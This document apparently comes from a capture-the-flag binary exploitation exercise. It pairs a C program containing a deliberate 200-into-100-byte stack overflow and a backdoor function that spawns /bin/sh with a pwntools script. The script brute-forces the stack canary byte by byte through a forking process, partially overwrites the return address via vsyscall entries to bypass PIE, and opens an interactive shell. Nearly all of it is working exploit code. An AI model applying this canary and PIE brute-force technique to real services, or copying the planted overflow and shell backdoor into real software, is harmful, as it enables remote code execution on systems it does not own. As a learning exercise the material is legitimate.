Pwn-Protect_full-HelloPwner

//gcc hello.c -z now -fpie -pie -g -m64 -fstack-protector -o hello_Pwner

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>  

void init() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}

void backdoor(void) {
    system("/bin/sh");
}

void vuln() {
    char buf[100];
    read(0,buf,200);
    printf("%s",buf);
}

int main(void) {
    init();
    pid_t a;
    while(1){
        a = fork();
        if(a<0){
            break;
        }else if(a){
            wait(0);
        }else{
            puts("Hello,Pwner!");
            vuln();
        }
    }
    
    return 0;
}

#coding=utf-8
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = "debug"

sh = process("./hello_Pwner")
elf = ELF("./hello_Pwner")

### blasting_Canary
def canary_blasting(offset,input_prompt):
    #偏移量,输入提示
    sh.recvuntil(input_prompt+'\n')
    canary = '\x00'
    for k in range(7):
        #因canary除去已知的\x00后还剩7字节，所以循环7次
        for i in range(256):
        # 每字节的值从256中间取
            success("Canary ->"+canary)
            log.info("-------------   No." + str(k) + ":" + chr(i)+"   -------------")
            #gdb.attach(sh)
            sh.send('A'*offset + canary + chr(i))
            recv = sh.recvuntil(input_prompt+"\n")
            if "stack smashing detected" in recv:
                # 
                continue
            else:
                #当第K字节的值i传入栈后接受不到错误反馈则代表正确
                canary += chr(i)
                #将其加入已知的canary中，继续爆破下一位
                success("Canary =>"+canary)
                break
    return canary

canary = canary_blasting(0x70-0x8,"Hello,Pwner!")
#RBP-RSI-Canary = 0x70-0x8

### blasting_PIE
last_2 = ["\x0a","\x1a","\x2a","\x3a","\x4a","\x5a","\x6a","\x7a","\x8a","\x9a","\xaa","\xba","\xca","\xda","\xea","\xfa"]
vsyscall = 0xffffffffff600000
#不需要查看要覆盖地址距离RBP的偏移距离，直接爆破得出
for k in range(200):
    log.info("Blow up the end of PIE No."+str(k))
    for i in last_2:
        payload = "A"*(0x70-0x8) + canary
        payload += p64(vsyscall)*k+"\x33"+i
        try:  
            #gdb.attach(sh)
            sh.send(payload)
            recv = sh.recvline()
            if "Hello" in recv :
                continue
            else:
                sh.interactive()
                break
        except KeyboardInterrupt:
            #当程序卡住不动时，CTRL+C八成就拿到shell了
            sh.interactive()
        except:
            continue